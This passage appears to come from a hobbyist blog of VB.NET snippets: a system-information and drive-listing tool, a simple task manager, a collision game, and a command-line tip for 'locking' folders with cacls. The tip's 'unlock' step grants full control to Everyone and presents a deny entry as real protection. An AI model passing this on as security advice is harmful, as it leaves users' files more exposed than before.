a = SaveFileDialog1.FileName
b = 0
i = 0
Dim drives() As String
drives = Directory.GetLogicalDrives 'getting logical drives
Dim drive As String

If My.Computer.FileSystem.FileExists(a) = True Then 'checking for file existing where information has to be stored!!
My.Computer.FileSystem.DeleteFile(a) 'deleting the existing file!!
End If
My.Computer.FileSystem.WriteAllText(a, "Computer's operating system name: " & My.Computer.Info.OSFullName & vbNewLine & _
"Computer's available physical memory: " & My.Computer.Info.AvailablePhysicalMemory & vbNewLine & _
"Computer's available virtual memory: " & My.Computer.Info.AvailableVirtualMemory & vbNewLine & _
"Computer name: " & My.Computer.Name & vbNewLine & _
"Computer is Connected with network : " & My.Computer.Network.IsAvailable & vbNewLine & _
"Computer's language : " & My.Computer.Info.InstalledUICulture.DisplayName & vbNewLine & _
"Computer's Time : " & My.Computer.Clock.LocalTime() & vbNewLine & _
"Tick Count is: " & My.Computer.Clock.TickCount() & vbNewLine & _
"Mouse Button Swapped: " & My.Computer.Mouse.ButtonsSwapped() & vbNewLine & _
"Mouse Wheel Exist: " & My.Computer.Mouse.WheelExists() & vbNewLine & _
"Mouse Scroll per line: " & My.Computer.Mouse.WheelScrollLines() & vbNewLine & _
"IR location: " & My.Computer.FileSystem.CurrentDirectory() & vbNewLine & _
"IR Temporary File Location: " & My.Computer.FileSystem.GetTempFileName() & vbNewLine, True)
' "My IP Address::" & AxWinsock1.LocalIP & vbNewLine & _
' "Host Name::" & AxWinsock1.LocalHostName & vbNewLine & _
For Each drive In drives
b = b + 1
Next
ProgressBar2.Maximum = b
For Each drive In drives 'Writing found logical drives
i = i + 1
My.Computer.FileSystem.WriteAllText(a, "------------------------------------------------" & vbNewLine & drive & vbNewLine & "------------------------------------------------" & vbNewLine, True)
driveinfo = My.Computer.FileSystem.GetDriveInfo(drive)
If driveinfo.IsReady = False Then
My.Computer.FileSystem.WriteAllText(a, "This Drive is not currently in use!!" & vbNewLine, True)
Else
My.Computer.FileSystem.WriteAllText(a, "label:: " & driveinfo.VolumeLabel & vbNewLine & "Type:: " & driveinfo.DriveType.ToString & vbNewLine & _
"Total Size:: " & driveinfo.TotalSize & vbNewLine & "Free Space:: " & driveinfo.TotalFreeSpace & _
vbNewLine & "------------------------------------------------" & vbNewLine, True)

Try 'Finding the files in the logical drive
items = Directory.GetFileSystemEntries(drive)
Catch ex As Exception
End Try

For Each itm In items 'writing found files and folders one by one for first level 1
If Directory.Exists(itm) Then
My.Computer.FileSystem.WriteAllText(a, itm & vbNewLine, True)
Try
items2 = Directory.GetFileSystemEntries(itm) 'writing found files and folders one by one for second level 2
Catch ex As Exception
End Try
For Each itm2 In items2
If Directory.Exists(itm2) Then
My.Computer.FileSystem.WriteAllText(a, vbTab & itm2 & vbNewLine, True)
Try
items3 = Directory.GetFileSystemEntries(itm2) 'writing found files and folders one by one for third level 2
Catch ex As Exception
End Try

For Each itm3 In items3
If Directory.Exists(itm3) Then
My.Computer.FileSystem.WriteAllText(a, vbTab & vbTab & itm3 & vbNewLine, True)
Else
My.Computer.FileSystem.WriteAllText(a, vbTab & vbTab & itm3 & vbNewLine, True)
End If
Next
Else
My.Computer.FileSystem.WriteAllText(a, vbTab & itm2 & vbNewLine, True)
End If
Next
Else
My.Computer.FileSystem.WriteAllText(a, itm & vbNewLine, True)
End If
Next
End If
ProgressBar2.Value = i
Next
MsgBox("Information has been stored!! Thanks for using!!")
ProgressBar2.Visible = False
Catch ex As Exception
End Try
End Sub

Private Sub ContextMenuStrip1_Opening(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles ContextMenuStrip1.Opening

End Sub

Private Sub MoreMediaPlayerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MoreMediaPlayerToolStripMenuItem.Click
Mediaplate.Show()
End Sub
End Class

My Taskmanager

Public Class Taskbar

Private Sub Taskbar_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim process As New Process()
Dim count As Integer = 0
ListView1.Items.Clear()
For Each process In process.GetProcesses(My.Computer.Name)
On Error Resume Next
ListView1.Items.Add(process.ProcessName)
ListView1.Items(count).SubItems.Add(FormatNumber(Math.Round(process.PrivateMemorySize64)))
ListView1.Items(count).SubItems.Add(process.Responding)
ListView1.Items(count).SubItems.Add(process.StartTime.ToString)
ListView1.Items(count).SubItems.Add(process.Id)
ListView1.Items(count).SubItems.Add(process.PriorityClass)
ListView1.Items(count).SubItems.Add(process.TotalProcessorTime.Milliseconds)
ListView1.Items(count).SubItems.Add(process.Threads.Count)
ListView1.Items(count).SubItems.Add(process.StandardOutput.CurrentEncoding.CodePage.ToString)
count += 1
Next
Label1.Text = "Process::" & count

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim cpuload As Integer = CDec(PerformanceCounter1.NextValue.ToString)
cpuload = 100 - cpuload
Label2.Text = cpuload.ToString & "%"
On Error Resume Next
ProgressBar1.Value = cpuload.ToString()
Me.Refresh()
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
For Each Process As ListViewItem In ListView1.SelectedItems
System.Diagnostics.Process.GetProcessById(Process.SubItems(4).Text).Kill()
Next
Catch ex As Exception
End Try
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
End
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Taskbar_Load(Nothing, Nothing)
End Sub
End Class

Collision Game Programming

Public Class Form1
Dim life As Integer
Dim mythread1 As System.Threading.Thread
Dim mythread2 As System.Threading.Thread
Dim mythread3 As System.Threading.Thread
Public Sub panel1move()
Dim x1, y1, a2, b2 As Integer
Dim x11, y11, a22, b22 As Integer
Dim k As Integer
If k = 0 Then
For k = 0 To 975
x1 = Panel1.Location.X
a2 = Panel2.Location.X
y1 = Panel1.Location.Y
b2 = Panel2.Location.Y
x11 = x1 + 50
y11 = y1 + 50
a22 = a2 + 50
b22 = b2 + 50
If a22 > x1 And a2 < x11 And b22 > y1 And b2 < y11 Then
My.Computer.Audio.Play(My.Resources.FIRE1, AudioPlayMode.Background)
Label1.Text -= 1
mythread1.Abort()
mythread2.Abort()
Timer1.Enabled = False
Timer2.Enabled = False

Me.Refresh()
Panel2.Left = 387
Panel2.Top = 500
Panel3.Left = 0
Panel3.Top = 253
Panel1.Left = 0
Panel1.Top = 190
Me.Refresh()
Else
End If
Panel1.Left = k
System.Threading.Thread.Sleep(5)
Next
End If
End Sub
Public Sub panel3move()
Dim i As Integer
Dim x2, y2, x3, y3 As Integer
Dim x22, y22, x33, y33 As Integer

If i = 0 Then
For i = 0 To 925
x2 = Panel2.Location.X
x3 = Panel3.Location.X
y2 = Panel2.Location.Y
y3 = Panel3.Location.Y
x22 = x2 + 50
y22 = y2 + 50
x33 = x3 + 100
y33 = y3 + 50
If x22 > x3 And x2 < x33 And y22 > y3 And y2 < y33 Then
My.Computer.Audio.Play(My.Resources.FIRE1, AudioPlayMode.Background)
Label1.Text -= life
mythread1.Abort()
mythread2.Abort()
Timer1.Enabled = False
Timer2.Enabled = False

Panel2.Left = 387
Panel2.Top = 500
Panel3.Left = 0
Panel3.Top = 253
Panel1.Left = 0
Panel1.Top = 190
Me.Refresh()
Else
End If
Panel3.Left = i
System.Threading.Thread.Sleep(7)
Next
End If
End Sub
Private Sub Form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
Dim x1, y1, x2, y2 As Integer
Dim x11, y11, x22, y22 As Integer
If e.KeyCode = Keys.S Then
Panel2.Top += 5
ElseIf e.KeyCode = Keys.W Then
Panel2.Top -= 5
ElseIf e.KeyCode = Keys.A Then
Panel2.Left -= 5
ElseIf e.KeyCode = Keys.D Then
Panel2.Left += 5
End If
Label13.Text = x1
Label14.Text = y1
Label15.Text = x2
Label16.Text = y2
Label17.Text = x11
Label18.Text = y11
Label19.Text = x22
Label20.Text = y22
If e.KeyCode = Keys.Enter Then
mythread1 = New System.Threading.Thread(AddressOf panel1move)
mythread1.Start()
Control.CheckForIllegalCrossThreadCalls = False
Timer1.Enabled = True
Timer2.Enabled = True
mythread2 = New System.Threading.Thread(AddressOf panel3move)
mythread2.Start()
Control.CheckForIllegalCrossThreadCalls = False
End If
If e.KeyCode = Keys.Escape Then
mythread1.Abort()
mythread2.Abort()
Timer1.Enabled = False
Timer2.Enabled = False
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Focus()
life = 2
Label1.Text = life
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
mythread1 = New System.Threading.Thread(AddressOf panel1move)
mythread1.Start()
Control.CheckForIllegalCrossThreadCalls = False
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
mythread2 = New System.Threading.Thread(AddressOf panel3move)
mythread2.Start()
Control.CheckForIllegalCrossThreadCalls = False
End Sub
End Class

Thursday, March 18

How to lock any folder in Xp,Vista and Window7


Run> Cmd >


Now in the command prompt


For example : I have a folder on the desktop

Here we have a folder on desktop which is names as :::::Image:::::
I have to lock this folder......
go to command prompt

Step I: go to that address i.e. desktop for this
use command

cd desktop

Step II: Type following command as in the figure


cacls image /e /p everyone:n

Now your file is locked..........
#here image is your folder name
# e for edit
# p for user permission
# and n for no access


To unlock that file
Use f instead of n

cacls image /e /p everyone:f


Now this folder will be unlocked............


Type


CD desktop